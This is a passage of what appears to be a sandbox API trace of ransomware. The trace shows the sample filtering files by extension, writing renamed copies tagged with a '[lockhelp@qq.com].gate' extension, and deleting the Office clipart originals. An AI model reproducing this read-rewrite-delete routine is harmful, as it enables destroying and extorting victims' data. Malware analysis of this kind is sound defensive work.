CloseHandle (hObject=0x340) returned 1 [0321.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0321.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0321.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0321.059] lstrlenW (lpString=".doc") returned 4 [0321.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.059] lstrlenW (lpString=".docx") returned 5 [0321.059] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.059] lstrlenW (lpString=".pdf") returned 4 [0321.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.059] lstrlenW (lpString=".xls") returned 4 [0321.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.059] lstrlenW (lpString=".xlsx") returned 5 [0321.059] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.059] lstrlenW (lpString=".ppt") returned 4 [0321.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0321.059] lstrlenW (lpString=".zip") returned 4 [0321.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.060] lstrlenW (lpString=".rar") returned 4 [0321.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.060] lstrlenW (lpString=".bz2") returned 4 [0321.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.060] lstrlenW (lpString=".7z") returned 3 [0321.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0321.060] lstrlenW (lpString=".dbf") returned 4 [0321.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0321.060] lstrlenW (lpString=".1cd") returned 4 [0321.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0321.060] lstrlenW (lpString=".jpg") returned 4 [0321.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0321.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0321.060] lstrlenW (lpString=".doc") returned 4 [0321.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.060] lstrlenW (lpString=".docx") returned 5 [0321.060] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.060] lstrlenW (lpString=".pdf") returned 4 [0321.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.060] lstrlenW (lpString=".xls") returned 4 [0321.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.060] lstrlenW (lpString=".xlsx") returned 5 [0321.060] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.060] lstrlenW (lpString=".ppt") returned 4 [0321.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0321.060] lstrlenW (lpString=".zip") returned 4 [0321.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.060] lstrlenW (lpString=".rar") returned 4 [0321.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.061] lstrlenW (lpString=".bz2") returned 4 [0321.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.061] lstrlenW (lpString=".7z") returned 3 [0321.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0321.061] lstrlenW (lpString=".dbf") returned 4 [0321.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0321.061] lstrlenW (lpString=".1cd") returned 4 [0321.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0321.061] lstrlenW (lpString=".jpg") returned 4 [0321.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.061] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.061] lstrlenW (lpString="AN04235_.WMF") returned 12 [0321.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.061] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=7804) returned 1 [0321.061] CloseHandle (hObject=0x340) returned 1 [0321.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0x220 [0321.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.062] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.062] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0321.062] GetLastError () returned 0x0 [0321.062] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0321.436] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0321.437] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.437] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.438] SetEndOfFile (hFile=0x344) returned 1 [0321.438] CloseHandle (hObject=0x344) returned 1 [0321.438] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.438] SetEndOfFile (hFile=0x340) returned 1 [0321.439] CloseHandle (hObject=0x340) returned 1 [0321.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0321.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0321.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0321.440] lstrlenW (lpString=".doc") returned 4 [0321.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.440] lstrlenW (lpString=".docx") returned 5 [0321.440] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.440] lstrlenW (lpString=".pdf") returned 4 [0321.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.440] lstrlenW (lpString=".xls") returned 4 [0321.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.440] lstrlenW (lpString=".xlsx") returned 5 [0321.440] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.440] lstrlenW (lpString=".ppt") returned 4 [0321.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0321.440] lstrlenW (lpString=".zip") returned 4 [0321.440] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.440] lstrlenW (lpString=".rar") returned 4 [0321.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.440] lstrlenW (lpString=".bz2") returned 4 [0321.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.440] lstrlenW (lpString=".7z") returned 3 [0321.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0321.440] lstrlenW (lpString=".dbf") returned 4 [0321.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0321.441] lstrlenW (lpString=".1cd") returned 4 [0321.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0321.441] lstrlenW (lpString=".jpg") returned 4 [0321.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0321.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0321.441] lstrlenW (lpString=".doc") returned 4 [0321.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.441] lstrlenW (lpString=".docx") returned 5 [0321.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.441] lstrlenW (lpString=".pdf") returned 4 [0321.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.441] lstrlenW (lpString=".xls") returned 4 [0321.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.441] lstrlenW (lpString=".xlsx") returned 5 [0321.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.441] lstrlenW (lpString=".ppt") returned 4 [0321.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0321.441] lstrlenW (lpString=".zip") returned 4 [0321.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.441] lstrlenW (lpString=".rar") returned 4 [0321.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.441] lstrlenW (lpString=".bz2") returned 4 [0321.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.441] lstrlenW (lpString=".7z") returned 3 [0321.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0321.442] lstrlenW (lpString=".dbf") returned 4 [0321.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0321.442] lstrlenW (lpString=".1cd") returned 4 [0321.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0321.442] lstrlenW (lpString=".jpg") returned 4 [0321.442] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.442] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.442] lstrlenW (lpString="BD00141_.WMF") returned 12 [0321.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.442] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=26886) returned 1 [0321.442] CloseHandle (hObject=0x340) returned 1 [0321.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220 [0321.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.443] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.443] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0321.444] GetLastError () returned 0x0 [0321.444] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x6906, lpOverlapped=0x0) returned 1 [0321.445] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x6910, lpOverlapped=0x0) returned 1 [0321.447] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.447] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.447] SetEndOfFile (hFile=0x344) returned 1 [0321.447] CloseHandle (hObject=0x344) returned 1 [0321.447] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.447] SetEndOfFile (hFile=0x340) returned 1 [0321.449] CloseHandle (hObject=0x340) returned 1 [0321.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0321.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0321.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0321.449] lstrlenW (lpString=".doc") returned 4 [0321.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.449] lstrlenW (lpString=".docx") returned 5 [0321.449] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.449] lstrlenW (lpString=".pdf") returned 4 [0321.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.450] lstrlenW (lpString=".xls") returned 4 [0321.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.450] lstrlenW (lpString=".xlsx") returned 5 [0321.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.450] lstrlenW (lpString=".ppt") returned 4 [0321.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0321.450] lstrlenW (lpString=".zip") returned 4 [0321.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.450] lstrlenW (lpString=".rar") returned 4 [0321.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.450] lstrlenW (lpString=".bz2") returned 4 [0321.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.450] lstrlenW (lpString=".7z") returned 3 [0321.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0321.450] lstrlenW (lpString=".dbf") returned 4 [0321.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0321.450] lstrlenW (lpString=".1cd") returned 4 [0321.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0321.450] lstrlenW (lpString=".jpg") returned 4 [0321.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0321.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0321.451] lstrlenW (lpString=".doc") returned 4 [0321.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.451] lstrlenW (lpString=".docx") returned 5 [0321.451] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.451] lstrlenW (lpString=".pdf") returned 4 [0321.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.451] lstrlenW (lpString=".xls") returned 4 [0321.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.451] lstrlenW (lpString=".xlsx") returned 5 [0321.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.451] lstrlenW (lpString=".ppt") returned 4 [0321.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0321.451] lstrlenW (lpString=".zip") returned 4 [0321.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.451] lstrlenW (lpString=".rar") returned 4 [0321.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.451] lstrlenW (lpString=".bz2") returned 4 [0321.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.451] lstrlenW (lpString=".7z") returned 3 [0321.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0321.451] lstrlenW (lpString=".dbf") returned 4 [0321.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0321.451] lstrlenW (lpString=".1cd") returned 4 [0321.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0321.451] lstrlenW (lpString=".jpg") returned 4 [0321.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.452] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.452] lstrlenW (lpString="BD00146_.WMF") returned 12 [0321.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.452] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=28948) returned 1 [0321.452] CloseHandle (hObject=0x340) returned 1 [0321.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220 [0321.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.453] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.453] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0321.453] GetLastError () returned 0x0 [0321.453] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x7114, lpOverlapped=0x0) returned 1 [0321.455] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x7120, lpOverlapped=0x0) returned 1 [0321.457] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.457] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.457] SetEndOfFile (hFile=0x344) returned 1 [0321.457] CloseHandle (hObject=0x344) returned 1 [0321.457] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.457] SetEndOfFile (hFile=0x340) returned 1 [0321.458] CloseHandle (hObject=0x340) returned 1 [0321.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0321.459] lstrlenW (lpString="C:\\Program Files\\Microsoft 